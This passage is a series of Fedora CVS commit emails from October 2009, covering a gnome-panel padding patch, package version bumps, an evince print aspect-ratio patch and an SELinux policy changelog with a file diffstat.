+@@ -710,9 +710,12 @@ panel_widget_switch_applet_right (PanelW
  {
  	AppletData *ad;
  	AppletData *nad = NULL;
@@ -182,7 +182,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  	ad = list->data;
  	if (ad->constrained + ad->min_cells >= panel->size)
  		return;
-@@ -720,8 +723,8 @@
+@@ -720,8 +723,8 @@ panel_widget_switch_applet_right (PanelW
  	if (list->next)
  		nad = list->next->data;
  
@@ -193,7 +193,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  		gtk_widget_queue_resize (GTK_WIDGET (panel));
  		emit_applet_moved (panel, ad);
  		return;
-@@ -786,6 +789,9 @@
+@@ -786,6 +789,9 @@ panel_widget_switch_applet_left (PanelWi
  {
  	AppletData *ad;
  	AppletData *pad = NULL;
@@ -203,7 +203,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  
  	ad = list->data;
  	if (ad->constrained <= 0)
-@@ -794,8 +800,8 @@
+@@ -794,8 +800,8 @@ panel_widget_switch_applet_left (PanelWi
  	if (list->prev)
  		pad = list->prev->data;
  
@@ -214,7 +214,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  		gtk_widget_queue_resize (GTK_WIDGET (panel));
  		emit_applet_moved (panel, ad);
  		return;
-@@ -874,15 +880,18 @@
+@@ -874,15 +880,18 @@ panel_widget_get_right_switch_pos (Panel
  {
  	AppletData *ad;
  	AppletData *nad = NULL;
@@ -235,7 +235,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  
  	if (nad->locked)
  		return panel_widget_get_right_jump_pos (panel,
-@@ -948,15 +957,18 @@
+@@ -948,15 +957,18 @@ panel_widget_get_left_switch_pos (PanelW
  {
  	AppletData *ad;
  	AppletData *pad = NULL;
@@ -256,7 +256,49 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  
  	if (pad->locked)
  		return panel_widget_get_left_jump_pos (panel,
-@@ -1333,12 +1345,15 @@
+@@ -1195,12 +1207,15 @@ panel_widget_size_request(GtkWidget *wid
+ 	GList *list;
+ 	GList *ad_with_hints;
+ 	gboolean dont_fill;
++        gint padding;
+ 
+ 	g_return_if_fail(PANEL_IS_WIDGET(widget));
+ 	g_return_if_fail(requisition!=NULL);
+ 
+ 	panel = PANEL_WIDGET(widget);
+ 
++	padding = panel_toplevel_get_padding (panel->toplevel);
++
+ 	if(panel->orient == GTK_ORIENTATION_HORIZONTAL) {
+ 		requisition->width = 0;
+ 		requisition->height = panel->sz;
+@@ -1224,8 +1239,11 @@ panel_widget_size_request(GtkWidget *wid
+ 				ad_with_hints = g_list_prepend (ad_with_hints,
+ 								ad);
+ 
+-			else if (panel->packed)
++			else if (panel->packed) {
++				if (list != panel->applet_list)
++					requisition->width += padding;
+ 				requisition->width += chreq.width;
++			}
+ 		} else {
+ 			if (requisition->width < chreq.width && !ad->size_constrained)
+ 				requisition->width = chreq.width;
+@@ -1234,8 +1252,11 @@ panel_widget_size_request(GtkWidget *wid
+ 				ad_with_hints = g_list_prepend (ad_with_hints,
+ 								ad);
+ 
+-			else if (panel->packed)
++			else if (panel->packed) {
++				if (list != panel->applet_list)
++					requisition->height += padding;
+ 				requisition->height += chreq.height;
++			}
+ 		}
+ 	}
+ 
+@@ -1333,12 +1354,15 @@ panel_widget_size_allocate(GtkWidget *wi
  	int i;
  	int old_size;
  	gboolean ltr;
@@ -272,7 +314,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  	old_size = panel->size;
  	ltr = gtk_widget_get_direction (widget) == GTK_TEXT_DIR_LTR;
  	
-@@ -1404,7 +1419,7 @@
+@@ -1404,7 +1428,7 @@ panel_widget_size_allocate(GtkWidget *wi
  			}
  			ad->min_cells  = ad->cells;
  			gtk_widget_size_allocate(ad->applet,&challoc);
@@ -281,7 +323,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  		}
  
  		/* EEEEK, there might be not enough room and we don't handle
-@@ -1439,7 +1454,7 @@
+@@ -1439,7 +1463,7 @@ panel_widget_size_allocate(GtkWidget *wi
  			if (ad->constrained < i)
  				ad->constrained = i;
  
@@ -290,7 +332,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  		}
  
  		/* Now expand from the right */
-@@ -1464,7 +1479,7 @@
+@@ -1464,7 +1488,7 @@ panel_widget_size_allocate(GtkWidget *wi
  				ad->cells = cells;
  			}
  



From sdz at fedoraproject.org  Thu Oct 29 14:21:06 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Thu, 29 Oct 2009 14:21:06 +0000 (UTC)
Subject: rpms/zyx-liveinstaller/F-11 .cvsignore, 1.6, 1.7 sources, 1.6,
	1.7 zyx-liveinstaller.spec, 1.7, 1.8
Message-ID: <20091029142106.20B1E11C048B@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/zyx-liveinstaller/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14297

Modified Files:
	.cvsignore sources zyx-liveinstaller.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-11/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	17 Oct 2009 22:43:45 -0000	1.6
+++ .cvsignore	29 Oct 2009 14:21:05 -0000	1.7
@@ -1 +1 @@
-zyx-liveinstaller-0.1.14.tar.bz2
+zyx-liveinstaller-0.1.16.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-11/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	17 Oct 2009 22:43:45 -0000	1.6
+++ sources	29 Oct 2009 14:21:05 -0000	1.7
@@ -1 +1 @@
-8848753b215fb7d82ef161724fae5cd6  zyx-liveinstaller-0.1.14.tar.bz2
+c3b19addbc9b1b74a4b229d99f3de42b  zyx-liveinstaller-0.1.16.tar.bz2


Index: zyx-liveinstaller.spec
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-11/zyx-liveinstaller.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- zyx-liveinstaller.spec	17 Oct 2009 22:43:45 -0000	1.7
+++ zyx-liveinstaller.spec	29 Oct 2009 14:21:05 -0000	1.8
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           zyx-liveinstaller
-Version:        0.1.14
+Version:        0.1.16
 Release:        1%{?dist}
 Summary:        Install a running LiveOS rebootlessly
 
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.16-1
+- update to new upstream release
+
 * Sun Oct 18 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.14-1
 - update to new upstream release
 - adjust source url



From sdz at fedoraproject.org  Thu Oct 29 14:21:15 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Thu, 29 Oct 2009 14:21:15 +0000 (UTC)
Subject: rpms/zyx-liveinstaller/F-12 .cvsignore, 1.6, 1.7 sources, 1.6,
	1.7 zyx-liveinstaller.spec, 1.6, 1.7
Message-ID: <20091029142115.38DE611C048B@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/zyx-liveinstaller/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14291

Modified Files:
	.cvsignore sources zyx-liveinstaller.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	17 Oct 2009 22:43:20 -0000	1.6
+++ .cvsignore	29 Oct 2009 14:21:11 -0000	1.7
@@ -1 +1 @@
-zyx-liveinstaller-0.1.14.tar.bz2
+zyx-liveinstaller-0.1.16.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	17 Oct 2009 22:43:20 -0000	1.6
+++ sources	29 Oct 2009 14:21:11 -0000	1.7
@@ -1 +1 @@
-8848753b215fb7d82ef161724fae5cd6  zyx-liveinstaller-0.1.14.tar.bz2
+c3b19addbc9b1b74a4b229d99f3de42b  zyx-liveinstaller-0.1.16.tar.bz2


Index: zyx-liveinstaller.spec
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-12/zyx-liveinstaller.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- zyx-liveinstaller.spec	17 Oct 2009 22:43:21 -0000	1.6
+++ zyx-liveinstaller.spec	29 Oct 2009 14:21:11 -0000	1.7
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           zyx-liveinstaller
-Version:        0.1.14
+Version:        0.1.16
 Release:        1%{?dist}
 Summary:        Install a running LiveOS rebootlessly
 
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.16-1
+- update to new upstream release
+
 * Sun Oct 18 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.14-1
 - update to new upstream release
 - adjust source url



From pjones at fedoraproject.org  Thu Oct 29 14:22:48 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Thu, 29 Oct 2009 14:22:48 +0000 (UTC)
Subject: rpms/syslinux/devel .cvsignore,1.25,1.26 sources,1.27,1.28
Message-ID: <20091029142248.CDF2A11C048B@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/syslinux/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14750

Modified Files:
	.cvsignore sources 
Log Message:
* Thu Oct 29 2009 Peter Jones <pjones at redhat.com> - 3.83-1
- update to 3.83



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/syslinux/devel/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	13 Apr 2009 02:36:18 -0000	1.25
+++ .cvsignore	29 Oct 2009 14:22:48 -0000	1.26
@@ -1 +1,2 @@
-syslinux-3.74.tar.bz2
+syslinux-3.83.tar.bz2
+clog


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/syslinux/devel/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	28 Apr 2009 19:30:47 -0000	1.27
+++ sources	29 Oct 2009 14:22:48 -0000	1.28
@@ -1 +1 @@
-daddab10857b73c08d7278da4fdb0781  syslinux-3.75.tar.bz2
+069160bc3776eca71a57cabace22bb24  syslinux-3.83.tar.bz2



From spot at fedoraproject.org  Thu Oct 29 14:25:45 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu, 29 Oct 2009 14:25:45 +0000 (UTC)
Subject: rpms/fedora-logos/F-12 .cvsignore, 1.90, 1.91 fedora-logos.spec,
	1.135, 1.136 sources, 1.105, 1.106
Message-ID: <20091029142545.5753B11C048B@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/fedora-logos/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15958/F-12

Modified Files:
	.cvsignore fedora-logos.spec sources 
Log Message:
12.0.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/.cvsignore,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- .cvsignore	28 Oct 2009 20:52:58 -0000	1.90
+++ .cvsignore	29 Oct 2009 14:25:45 -0000	1.91
@@ -1 +1 @@
-fedora-logos-12.0.2.tar.bz2
+fedora-logos-12.0.3.tar.bz2


Index: fedora-logos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/fedora-logos.spec,v
retrieving revision 1.135
retrieving revision 1.136
diff -u -p -r1.135 -r1.136
--- fedora-logos.spec	28 Oct 2009 21:06:51 -0000	1.135
+++ fedora-logos.spec	29 Oct 2009 14:25:45 -0000	1.136
@@ -1,7 +1,7 @@
 Name: fedora-logos
 Summary: Fedora-related icons and pictures
-Version: 12.0.2
-Release: 2%{?dist}
+Version: 12.0.3
+Release: 1%{?dist}
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/fedora-logos.git/
 Source0: https://fedorahosted.org/releases/f/e/fedora-logos/fedora-logos-%{version}.tar.bz2
@@ -183,6 +183,9 @@ fi
 # end i386 bits
 
 %changelog
+* Thu Oct 29 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.3-1
+- Update to 12.0.3, yet another name for system-software-install icons
+
 * Wed Oct 28 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.2-2
 - Fixed 12.0.2 source, package up scalable svg source for system-software-install icon
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/sources,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- sources	28 Oct 2009 21:06:51 -0000	1.105
+++ sources	29 Oct 2009 14:25:45 -0000	1.106
@@ -1 +1 @@
-8a27e923e1cc5bf748715066356c61ee  fedora-logos-12.0.2.tar.bz2
+c6ed68974644906f77e20b4aec4506ea  fedora-logos-12.0.3.tar.bz2



From spot at fedoraproject.org  Thu Oct 29 14:25:45 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu, 29 Oct 2009 14:25:45 +0000 (UTC)
Subject: rpms/fedora-logos/devel fedora-logos.spec, 1.135, 1.136 sources,
	1.105, 1.106
Message-ID: <20091029142545.91D3E11C048B@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/fedora-logos/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15958/devel

Modified Files:
	fedora-logos.spec sources 
Log Message:
12.0.3


Index: fedora-logos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/devel/fedora-logos.spec,v
retrieving revision 1.135
retrieving revision 1.136
diff -u -p -r1.135 -r1.136
--- fedora-logos.spec	28 Oct 2009 21:06:51 -0000	1.135
+++ fedora-logos.spec	29 Oct 2009 14:25:45 -0000	1.136
@@ -1,7 +1,7 @@
 Name: fedora-logos
 Summary: Fedora-related icons and pictures
-Version: 12.0.2
-Release: 2%{?dist}
+Version: 12.0.3
+Release: 1%{?dist}
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/fedora-logos.git/
 Source0: https://fedorahosted.org/releases/f/e/fedora-logos/fedora-logos-%{version}.tar.bz2
@@ -183,6 +183,9 @@ fi
 # end i386 bits
 
 %changelog
+* Thu Oct 29 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.3-1
+- Update to 12.0.3, yet another name for system-software-install icons
+
 * Wed Oct 28 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.2-2
 - Fixed 12.0.2 source, package up scalable svg source for system-software-install icon
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/devel/sources,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- sources	28 Oct 2009 21:06:51 -0000	1.105
+++ sources	29 Oct 2009 14:25:45 -0000	1.106
@@ -1 +1 @@
-8a27e923e1cc5bf748715066356c61ee  fedora-logos-12.0.2.tar.bz2
+c6ed68974644906f77e20b4aec4506ea  fedora-logos-12.0.3.tar.bz2



From mkasik at fedoraproject.org  Thu Oct 29 14:25:39 2009
From: mkasik at fedoraproject.org (=?utf-8?b?TWFyZWsgS2HFocOtaw==?=)
Date: Thu, 29 Oct 2009 14:25:39 +0000 (UTC)
Subject: rpms/evince/F-12 evince-aspect-ratio.patch, NONE, 1.1 evince.spec, 
	1.173, 1.174
Message-ID: <20091029142539.689BC11C048B@cvs1.fedora.phx.redhat.com>

Author: mkasik

Update of /cvs/pkgs/rpms/evince/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15783

Modified Files:
	evince.spec 
Added Files:
	evince-aspect-ratio.patch 
Log Message:
* Thu Oct 29 2009 Marek Kasik <mkasik at redhat.com> - 2.28.1-5
- Add backported patch evince-aspect-ratio.patch (#531430).
- Preserve aspect ratio of scaled pages and set page orientation
- automatically (gnome bugs #599468 and #599470)


evince-aspect-ratio.patch:
 ev-print-operation.c |   34 ++++++++++++++++++++++++++++++++--
 1 file changed, 32 insertions(+), 2 deletions(-)

--- NEW FILE evince-aspect-ratio.patch ---
--- shell/ev-print-operation.c.aspect-ratio	2009-10-29 15:01:28.000000000 +0100
+++ shell/ev-print-operation.c	2009-10-29 15:01:40.000000000 +0100
@@ -1638,13 +1638,36 @@ print_job_cancelled (EvJobPrint         
 }
 
 static void
+ev_print_operation_print_request_page_setup (EvPrintOperationPrint *print,
+					     GtkPrintContext       *context,
+					     gint                   page_nr,
+					     GtkPageSetup          *setup)
+{
+	EvPrintOperation *op = EV_PRINT_OPERATION (print);
+	gdouble           width, height;
+	EvPage           *page;
+
+	page = ev_document_get_page (op->document, page_nr);
+
+	ev_document_get_page_size (op->document, page,
+				   &width, &height);
+
+	if (width > height)
+	        gtk_page_setup_set_orientation (setup, GTK_PAGE_ORIENTATION_LANDSCAPE);
+	else
+	        gtk_page_setup_set_orientation (setup, GTK_PAGE_ORIENTATION_PORTRAIT);
+
+	g_object_unref (page);
+}
+
+static void
 ev_print_operation_print_draw_page (EvPrintOperationPrint *print,
 				    GtkPrintContext       *context,
 				    gint                   page)
 {
 	EvPrintOperation *op = EV_PRINT_OPERATION (print);
 	cairo_t          *cr;
-	gdouble           cr_width, cr_height;
+	gdouble           cr_width, cr_height, scale;
 	gint              width, height;
 
 	gtk_print_operation_set_defer_drawing (print->op);
@@ -1667,7 +1690,11 @@ ev_print_operation_print_draw_page (EvPr
 	ev_page_cache_get_size (ev_page_cache_get (op->document),
 				page, 0, 1.0,
 				&width, &height);
-	cairo_scale (cr, cr_width / (gdouble)width, cr_height / (gdouble)height);
+	if (cr_width / (gdouble)width < cr_height / (gdouble)height)
+	        scale = cr_width / (gdouble)width;
+	else
+	        scale = cr_height / (gdouble)height;
+	cairo_scale (cr, scale, scale);
 
 	ev_job_print_set_cairo (EV_JOB_PRINT (print->job_print), cr);
 	ev_job_scheduler_push_job (print->job_print, EV_JOB_PRIORITY_NONE);
@@ -1720,6 +1747,9 @@ ev_print_operation_print_init (EvPrintOp
 	g_signal_connect_swapped (print->op, "status_changed",
 				  G_CALLBACK (ev_print_operation_print_status_changed),
 				  print);
+	g_signal_connect_swapped (print->op, "request_page_setup",
+				  G_CALLBACK (ev_print_operation_print_request_page_setup),
+				  print);
 	gtk_print_operation_set_allow_async (print->op, TRUE);
 }
 


Index: evince.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evince/F-12/evince.spec,v
retrieving revision 1.173
retrieving revision 1.174
diff -u -p -r1.173 -r1.174
--- evince.spec	27 Oct 2009 04:21:54 -0000	1.173
+++ evince.spec	29 Oct 2009 14:25:39 -0000	1.174
@@ -6,7 +6,7 @@
 
 Name:		evince
 Version:	2.28.1
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	Document viewer
 
 License:	GPLv2+ and GFDL
@@ -22,6 +22,8 @@ Patch1:         0001-Provide-some-indica
 Patch2:		evince-thumbnail-allocation.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=599726
 Patch3:		seriesid-clash.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=531430
+Patch4:		evince-aspect-ratio.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -115,6 +117,7 @@ This package contains a backend to let e
 %patch1 -p1 -b .search-not-available
 %patch2 -p0 -b .thumbnail-allocation
 %patch3 -p1 -b .seriesid
+%patch4 -p0 -b .aspect-ratio
 
 %build
 %configure --disable-static --disable-scrollkeeper \
@@ -269,6 +272,11 @@ fi
 %{_libdir}/evince/1/backends/djvudocument.evince-backend
 
 %changelog
+* Thu Oct 29 2009 Marek Kasik <mkasik at redhat.com> - 2.28.1-5
+- Add backported patch evince-aspect-ratio.patch (#531430).
+- Preserve aspect ratio of scaled pages and set page orientation
+- automatically (gnome bugs #599468 and #599470)
+
 * Tue Oct 27 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-4
 - Avoid a help file seriesid clash
 



From dwalsh at fedoraproject.org  Thu Oct 29 14:30:25 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 29 Oct 2009 14:30:25 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch,1.122,1.123
Message-ID: <20091029143025.619C911C029D@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17824

Modified Files:
	policy-F12.patch 
Log Message:
* Thu Oct 29 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-36
- Change labeling of /usr/share/yumex/yumex-yum-backend
- Allow initrc_t to request loading kernel modules
- Allow initrc_t to manage net_conf_t files
- Allow prelink to manage tmp files for "delta rpm"
- Allow livecd tool to transition to chfn and passwd
- Allow cupsd to bind to howl port
- Allow plymouth to delete /dev/null
- dontaudit leaked userdomain sockets to xauth
- Allow lircd to use pseudo terminal device
- Allow sambagui to send syslog messages
- dontaudit chrome using nfs and samba file systems if they are used for the homedir
- Allow prelude-dispatch ipc_lock and setpcap
- Change lircd /var/run specification
- Define ports for dhcpcv6


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    6 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   20 
 policy/modules/admin/rpm.if               |  324 ++++++
 policy/modules/admin/rpm.te               |   98 +
 policy/modules/admin/shorewall.fc         |    3 
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   71 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   35 
 policy/modules/apps/execmem.if            |   76 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 +
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  114 ++
 policy/modules/apps/java.te               |   19 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   52 +
 policy/modules/apps/livecd.te             |   27 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 +
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   11 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 +++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |   11 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  189 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   59 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    7 
 policy/modules/apps/sectoolm.fc           |    6 
 policy/modules/apps/sectoolm.if           |    3 
 policy/modules/apps/sectoolm.te           |  120 ++
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   32 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   38 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++
 policy/modules/kernel/domain.te           |   88 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  324 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  126 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 ++++++++++++
 policy/modules/roles/unconfineduser.te    |  426 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   37 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   58 +
 policy/modules/services/abrt.te           |   26 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   41 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  445 +++++++-
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bitlbee.te        |    2 
 policy/modules/services/bluetooth.if      |   21 
 policy/modules/services/bluetooth.te      |   11 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 +
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.fc     |    3 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   20 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    6 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   44 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
